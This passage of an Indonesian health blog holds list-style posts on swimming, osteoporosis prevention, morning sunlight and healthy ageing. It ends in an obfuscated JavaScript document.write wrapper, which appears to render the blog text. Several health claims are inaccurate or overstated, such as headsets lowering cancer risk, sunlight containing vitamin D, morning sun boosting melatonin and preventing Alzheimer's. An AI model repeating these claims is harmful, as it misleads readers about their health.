tahu, berapa total langkah kaki yang anda lakukan setiap harinya.</li><li>Selalu Gunakan Headset Saat Menelepon. Ini bertujuan untuk mengurangi tingkat radiasi yang dipancarkan oleh ponsel atau handphone yang bisa meningkatkan resiko terkena kanker. Jadi, masihkan anda bertelepon dengan menempelkannya di wajah anda....???.</li></ol><br />Semoga tips kesehatan yang mengulas berbagai tips mudah hidup sehat di era digital atau era canggih dapat bermanfaat dan berguna bagi pembaca yang hidup di era ini...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-29894315097900359652015-01-22T19:50:00.000-08:002016-03-13T14:50:17.576-07:00Tips 7 Manfaat Berenang Bagi Kesehatan Tubuh Kita<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE9Mz7Usg2etb3ljs-mdUbHwz64Ga2kcMqtK-EnEBsFauPsgycesh1HvItMkDO3HPVhcU0c0KEGWoOLmwlJdyYWOfXfsUCdaHCMkaGjevAcGTdtULdQ-Wm5DVozRB7S8uxtb48g3sMA7I/s1600/manfaat+dahsyat+berenang+kesehatan+tubuh.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="428" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE9Mz7Usg2etb3ljs-mdUbHwz64Ga2kcMqtK-EnEBsFauPsgycesh1HvItMkDO3HPVhcU0c0KEGWoOLmwlJdyYWOfXfsUCdaHCMkaGjevAcGTdtULdQ-Wm5DVozRB7S8uxtb48g3sMA7I/s640/manfaat+dahsyat+berenang+kesehatan+tubuh.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br />Pernah Berenang...??? Mungkin sebuah pertanyaan yang terdengar sedikit mengejek anda, khususnya yang tak pernah singgah atau menceburkan diri di kolam renang. Berenang merupakan salah satu olahraga yang tidak semua orang bisa melakukannya. Diperlukan latihan rutin atau seorang pelatih untuk mengajari seseorang untuk berenang. Karena termasuk salah satu jenis olahraga tubuh, berenang ternyata memiliki berbagai manfaat yang begitu besar bagi kesehatan tubuh. Lalu, apa saja manfaat dahsyat berenang bagi kesehatan tubuh tersebut...???.</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Saya (penulis) membutuhkan waktu sekitar 2 (dua) bulan lebih, hanya untuk belajar gaya renang katak ( Dipandu oleh seorang pelatih renang). Memang dibutuhkan waktu yang relatif lama untuk mempelajari salah satu gaya renang pilihan anda. Kembali ke topik bahasan, berenang selain salah satu olahraga yang paling menyenangkan juga memiliki berbagai manfaat bagi kesehatan tubuh anda. Salah satunya yaitu dapat membuat tubuh lebih fit dan bugar untuk menghadapi aktivitas dan pekerjaan yang menanti anda...<br /><blockquote class="tr_bq">Berikut ini 7 manfaat dahsyat berenang bagi kesehatan tubuh anda :</blockquote></div><div style="text-align: justify;"><ol><li>Meningkatkan Kesehatan Jantung Anda. Menurut the American Heart Association, melakukan olahraga ringan (termasuk berenang) dalam waktu 30 menit setiap hari mampu mengurangi penyakit jantung koroner sebesar 30 - 40 % (persen) khususnya pada wanita. Selain itu, berenang juga dapat meningkatkan kinerja organ jantung lebih optimal.</li><li>Membantu Mengontrol Berat Badan Anda. Fakta terbaru, berenang merupakan salah satu olahraga&nbsp; terbaik untuk pembakar kalori pada tubuh. Oleh karena itulah, bagi anda yang mengalami masalah berat badan, maka berenang mungkin menjadi solusi yang sangat efektif bagi anda.</li><li>Menyehatkan Sendi Dan Otot Anda. Berenang merupakan salah satu olahraga yang paling mudah dan tidak memberatkan tubuh anda Ini dikarenakan, saat berenang, 90 persen berat badan di tanggung oleh air kolam. Sehingga, kitapun dapat menggerakkan semua anggota tubuh tanpa harus merasakan berat tubuh sendiri.</li><li>Meningkatkan Jumlah Kolesterol Baik. Tidak hanya membuat tulang lebih kokoh, berenang juga dapat membantu meningkatkan jumlah kolesterol baik dalam tubuh anda. Dalam saat bersamaan pula, berenang juga mampu menurunkan jumlah kolesterol jahat yang bisa mengancam jiwa anda.</li><li>Menurunkan Resiko Terkena Diabetes. Olahraga ringan (seperti berenang) 30 menit setiap hari selama tiga kali dalam seminggu mampu membakar kurang lebih 900 kalori pada tubuh. Ini tentunya kabar baik, bagi anda yang ingin mencegah maupun menurunkan resiko penyakit diabetes dalam tubuh anda.</li><li>Menurunkan Tingkat Stres. Ini dikarenakan, berenang dapat menciptakan suasana tenang dan bahagia dan meningkatkan hormon endorfin (hormon yang berkaitan dengan perasaan senang dan bahagia dalam pikiran anda ). Sehingga stres pun dapat diturunkan dengan lebih mudah.</li><li>Memperpanjang Usia Anda. Sebuah penelitian yang dilakukan selama 32 tahun oleh para peneliti di University of South Carolina yang di ikuti oleh 40.547 orang yang memiliki rentan usia 20 - 90 tahun, menemukan bahwa mereka yang terbiasa berenang memiliki resiko meninggal 50 persen lebih rendah dibandingkan para olahragawan lainnya seperti pelari, pejalan kaki dan yang tidak pernah berolahraga.</li></ol><br />Semoga tips kesehatan yang mengulas berbagai manfaat dahsyat berenang bagi kesehatan tubuh dapat bermanfaat dan&nbsp; memotivasi pembaca untuk mulai hobi berenang.&nbsp;</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-31901947556227330132015-01-16T20:44:00.000-08:002016-03-13T14:58:16.989-07:00Tips 7 Cara Mudah Mencegah Osteoporosis Pada Tulang Wanita<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgGWS0_TUxsyxYgPWuszzjrypxSkiDpMM3lGTG_-pM5wTuxyqCsD91Ag9KYHEVcH8F4PtNjxiSlnHSalLmlMt5HVijH5pXGA0-X9bGtnrOdK0saIS6P-FsvCyi0SkQzAZf_ctnr15F9Qk/s1600/tips+cegah+osteoporosis+tulang+wanita.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgGWS0_TUxsyxYgPWuszzjrypxSkiDpMM3lGTG_-pM5wTuxyqCsD91Ag9KYHEVcH8F4PtNjxiSlnHSalLmlMt5HVijH5pXGA0-X9bGtnrOdK0saIS6P-FsvCyi0SkQzAZf_ctnr15F9Qk/s640/tips+cegah+osteoporosis+tulang+wanita.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br />Osteoporosis... mungkin anda sudah sering atau pernah mendengar istilah ini dalam hidup anda. Orang awam menyebut osteoporosis yaitu gejala pengeroposan tulang saat usia mulai dewasa maupun menua. Para wanita dan laki-laki sama rentannya terkena osteoporosis. Meskipun begitu, kaum wanita memiliki resiko paling besar mengalami masalah pengeroposan tulang tersebut. Mencegah osteoporosis sejak dini tentu mutlak dilakukan mulai dari sekarang. Lalu, apa saja tips mencegah osteoporosis pada kaum wanita...???.</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Tulang merupakan bagian terpenting untuk menyokong tubuh manusia. Namun, seiring usia yang terus bertambah, lambat laun tulang mengalami pengeroposan dan mengakibatkan tulang mudah patah. Wanita khususnya yang mulai menginjak usia 30 tahun haruslah memulai langkah nyata untuk menjaga kesehatan tulangnya. Latihan rutin atau olahraga serta mengkonsumsi makanan yang dibutuhkan tulang haruslah menjadi menu harian anda.<br /><blockquote class="tr_bq">Berikut ini 7 tips mencegah osteroporosis pada tulang wanita :&nbsp;</blockquote></div><div style="text-align: justify;"><ol><li>Penuhi Kebutuhan Kalsium. Ada berbagai jenis makanan yang mengandung kalsium seperti susu rendah lemak, keju, sayuran berdaun hijau (sayur bayam, sawi), sarden maupun sereal. Dengan tercukupinya kebutuhan kalsium, maka dapat mencegah pengeroposan tulang anda.</li><li>Penuhi Kebutuhan Vitamin D. Vitamin D berfungsi untuk membantu proses penyerapan kalsium yang dibutuhkan oleh tubuh anda. Sinar matahari pagi merupakan sumber vitamin D. Sumber vitamin D lainnya yaitu ikan (salmon, tuna), telur serta yogurt.&nbsp;</li><li>Kontrol Berat Badan. Dalam hal ini, jagalah tubuh dalam berat badan yang dianjurkan atau proporsional. Ini dikarenakan, seseorang yang terlalu kurus beresiko mengalami pengeroposan tulang atau osteoporosis yang lebih besar. Konsultasikan pada dokter anda tentang berat badan yang proporsinal sesuai usia anda.</li><li>Stop Dari Merokok. Menurut para peneliti dari Royal Melbourne Hospital in Australia, kebiasaan&nbsp; merokok beresiko besar terhadap mudahnya seseorang terkena patah tulang. Jadi, mulailah bergaya hidup sehat dengan menghindari kebiasaan buruk seperti merokok.</li><li>Mulailah Olahraga Rutin. Olahraga yang sangat dianjurkan untuk memperkuat tulang yaitu angkat beban maupun berjalan kaki. Sedangkan waktu yang dibutuhkan untuk melakukan aktivitas tersebut yaitu sekitar 30 menit setiap harinya.</li><li>Kurangi Konsumsi Minuman Berkafein. Minuman yang mengandung kafein dalam jumlah berlebihan dapat mengakibatkan mudahnya patah tulang diusia tua. Maka dari itulah, ada baiknya anda mengurangi konsumsi kopi serta aneka minuman yang mengandung kafein didalamnya.</li><li>Mulailah Melakukan Yoga. Olahraga yang menitik beratkan pada pernafasan dan kelenturan tubuh ini ternyata mampu meningkatkan kepadatan tulang di beberapa bagian tubuh seperti daerah pinggul dan punggung anda.</li></ol><br />Semoga tips kesehatan yang mengulas 7 tips mudah mencegah osteroporosis pada wanita dapat bermanfaat bagi para pembaca...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-31627698275097629562015-01-15T18:36:00.000-08:002016-03-13T14:55:38.876-07:00Inilah 7 Manfaat Sinar Matahari Pagi Bagi Kesehatan Tubuh Kita<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWmm3CITSVDsBGF1ic6njs4_lHROBVUmhFh2kQf1e-RPXhLTmqdLJ0AVgHxU6uFy1J2cFSb-arj96y3ZXgGksQS4zUvQvufbajBYEoNBB8SFxYvNZEjINAw4xWxVTtHARyr0WIM0GVZ9w/s1600/manfaat+dahsyat+sinar+matahari+pagi+sehat.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="502" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWmm3CITSVDsBGF1ic6njs4_lHROBVUmhFh2kQf1e-RPXhLTmqdLJ0AVgHxU6uFy1J2cFSb-arj96y3ZXgGksQS4zUvQvufbajBYEoNBB8SFxYvNZEjINAw4xWxVTtHARyr0WIM0GVZ9w/s640/manfaat+dahsyat+sinar+matahari+pagi+sehat.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />Aduhh.....panasnya terasa membakar tubuhku. Inilah salah satu kata kiasan yang sering di ucapkan seseorang yang enggan tubuhnya terpapar sinar matahari secara langsung. Banyak alasan yang menyertainya seperti takut kulitnya menjadi hitam atau menghindari resiko terkena kanker kulit. Manusia pada saat ini memang mulai tidak bersahabat dengan sinar matahari. Padahal sinar matahari menyimpan manfaat besar bagi kesehatan tubuh. Lalu, apa saja manfaat dahsyat sinar matahari pagi bagi tubuh tersebut...???.</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Pagi hari merupakan waktu yang tepat untuk berjemur di bawah sinar matahari secara langsung. Tentu anda pernah mendengar bahwa sinar matahari pagi bermanfaat bagi kesehatan tubuh anda. Faktanya, paparan sinar matahari pagi akan membuat tubuh makin sehat dan bugar. Anda dapat duduk diberanda rumah sambil membaca buku atau memandang lingkungan sekitar sambil terpapar sinar matahari pagi...<br /><blockquote class="tr_bq">Berikut ini 7 manfaat dahsyat sinar matahari pagi bagi kesehatan tubuh anda :&nbsp;</blockquote></div><div style="text-align: justify;"><ol><li>Sinar Matahari Pagi Dapat Membantu Menguatkan Tulang. Sinar matahari pagi yang mengandung vitamin D akan merangsang serta membantu proses penyerapan kalsium untuk tulang lebih optimal. Hal ini tentunya akan membuat kepadatan tulang semakin baik dan mencegah resiko tulang yang mudah patah di usia tua.</li><li>Sinar Matahari Pagi Dapat Membantu Tidur Lebih Nyenyak. Sinar matahari pagi akan merangsang produksi hormon melatonin (hormon yang membantu anda tidur lebih pulas). Jadi, Jika hormon melatonin terlalu minim, akan membuat seseorang terjaga atau susah tidur tiap malamnya.</li><li>Sinar Matahari Pagi Dapat Menangkal Kanker. Sinar matahari pagi mengandung vitamin D yang membantu tubuh untuk menangkal berbagai jenis kanker seperti kanker payudara serta kanker usus besar. Jadi masihkah takut terkena sinar matahari di pagi hari...???.</li><li>Sinar Matahari Pagi Juga Dapat Mencegah Kepikunan Dini. Bagi anda yang mudah lupa menaruh barang atau mengucapkan kata yang sama dalam rentang waktu yang singkat, ini merupakan gejala kepikunan dini yang mengarah ke penyakit Alzheimer. Sinar matahari pagi dapat membantu mencegah kepikunan dan Alzheimer dini.</li><li>Sinar Matahari Pagi Mengurangi Tingkat Depresi. Ini dikarenakan, Sinar matahari pagi merangsang produksi hormon serotonin yang berfungsi menurunkan tingkat depresi pada seseorang. Untuk itulah, biasakan diri berjemur di sinar matahari pagi yang menghangatkan tubuh tersebut.</li><li>Sinar Matahari Pagi Memperkuat Sistem Imun Tubuh. Ini dikarenakan, sinar matahari pagi akan memicu produksi sel-sel darah putih yang berfungsi melawan kuman, virus dan bakteri yang masuk ke tubuh anda. Sehingga andapun jarang sakit atau tertular penyakit.</li><li>Sinar Matahari Pagi Sangat Baik Untuk Kulit. Terbiasa terkena sina matahari di pagi hari dapat meningkatkan kesehatan kulit serta menghindarkan diri dari berbagai penyakit kulit seperti jerawat serta berbagai jamur yang dapat menyerang kulit tubuh anda.</li></ol><br />Semoga tips kesehatan yang mengulas berbagai manfaat dahsyat sinar matahari pagi bagi kesehatan dapat bermanfat dan berguna bagi pembaca...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-35757156819405856692015-01-14T18:08:00.000-08:002016-03-15T09:26:24.939-07:00Tips Tetap Sehat Di Masa Tua, Lakukan 7 Hal Ini Mulai Sekarang<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgl6FPPzMsRFol27mF4iQRueHpZL5pqXpyuA_z-ed0ewxHMYNhqa64mhRENXQr5SCFd_ArdJHbpq319CnEK-SASOZCFGT1dg2SnsHmSNFV7_KWJMfjwV0-5bxg4F4yiT3KqKL4Gqc7iu2U/s1600/tetap+sehat+masa+tua+mulai+sekarang.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgl6FPPzMsRFol27mF4iQRueHpZL5pqXpyuA_z-ed0ewxHMYNhqa64mhRENXQr5SCFd_ArdJHbpq319CnEK-SASOZCFGT1dg2SnsHmSNFV7_KWJMfjwV0-5bxg4F4yiT3KqKL4Gqc7iu2U/s640/tetap+sehat+masa+tua+mulai+sekarang.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />Semakin bertambahnya umur, maka aktivitas dan gaya hidup yang kita lakukan akan mengalami perubahan secara otomatis. Jika sewaktu kecil, kita sangatlah aktif bergerak sesuka hati, maka lambat laun aktif bergerak mulai mengalami penurunan yang drastis. Kebiasaan gaya hidup menetap (duduk terlalu lama) dan mengkonsumsi makanan tak sehat ikut bertanggung jawab terhadap kesehatan seseorang dimasa tuanya. Hal ini harusnya mulai dirubah mulai sekarang. Lalu, apa saja tips tetap sehat dimasa tua yang dapat dilakukan mulai dari sekarang...???.&nbsp; </div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Tentunya kita harus sangatlah bersyukur dapat merasakan hidup di era yang serba canggih seperti sekarang ini. Aneka pekerjaan menjadi mudah dilakukan dengan berbagai gadget di samping kita serta berbagai olahan makanan yang beraneka ragam yang memanjakan lidah. Namun kecanduan gadget menjadikan kita tidak aktif bergerak serta makanan cepat saji sangat tidak menyehatkan tubuh..<br /><blockquote class="tr_bq">Berikut ini, 7 tips agar tetap sehat dimasa tua dengan melakukan berbagai kebiasaan mulai sekarang</blockquote></div><div style="text-align: justify;"><ol><li>Mulailah Melangkahkan Kaki Anda. Faktanya, kebiasaan malas berolahraga dan mengandalkan alat transportasi serta kendaraan pribadi ke tempat terdekat menjadi pilihan utama. Mulailah berolahraga 30 menit setiap pagi serta jangkaulah tempat terdekat dengan berjalan kaki.</li><li>Kurangi Konsumsi Gula. Saya (penulis) selalu mengandalkan air putih dan berbagai aneka minuman tanpa gula setiap hari. Ini dikarenakan, mengkonsumsi gula secara berlebih dapat membuat kulit terlihat lebih tua, pemicu diabetes, dan meningkatkan resiko penyakit jantung.</li><li>Mengkonsumsi Makanan Sehat. Sebenarnya andapun dapat menilai sendiri, apakah makanan yang sedang anda konsumsi menyehatkan atau merusak tubuh anda. Mulailah menyediakan dan mengkonsumsi aneka buah-buahan dan sayuran hijau di menu harian anda.</li><li>Penuhi Jam Tidur Malam Anda. Tubuh membutuhkan istirahat yang cukup setiap malamnya. Jika anda sering bergadang, maka tubuhpun akan protes di pagi harinya seperti masih mengantuk, badan terasa lemas serta rutinitas dan jadwal yang berantakan.</li><li>Hirup Nafas Dalam-Dalam. Pekerjaan dan aktivitas yang menumpuk dan tiada henti tentunya akan memunculkan tingkat stres yang tinggi. Tinggalkan semua aktivitas dan pekerjaan sebentar, lalu duduklah dengan rileks serta hiruplah nafas dalam-dalam dan keluarkan secara pelan-pelan. Ulangi beberapa kali.</li><li>Minum Susu. Susu memiliki berbagai kandungan nutrisi yang dibutuhkan oleh tubuh sesuai usia anda saat ini. Jadi, mulailah minum susu dua gelas sehari untuk mencukupi nutrisi yang tidak bisa didapatkan dari makanan yang anda konsumsi.</li><li>Rajin Membaca. Luangkan waktu anda untuk membaca buku dan artikel di internet yang berisi berbagai informasi khususnya informasi tentang dunia kesehatan dengan berbagai topik yang disajikan. Hal ini dapat bermanfaat untuk memandu dalam bergaya hidup sehat yang benar.</li></ol><br />Semoga tips kesehatan yang mengulas tentang berbagai hal kecil yang mudah dilakukan agar masa tua tetap bahagia dapat bermanfaat bagi pembaca...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0","write"];document[_0xdd05[1]](unescape(_0xdd05[0]))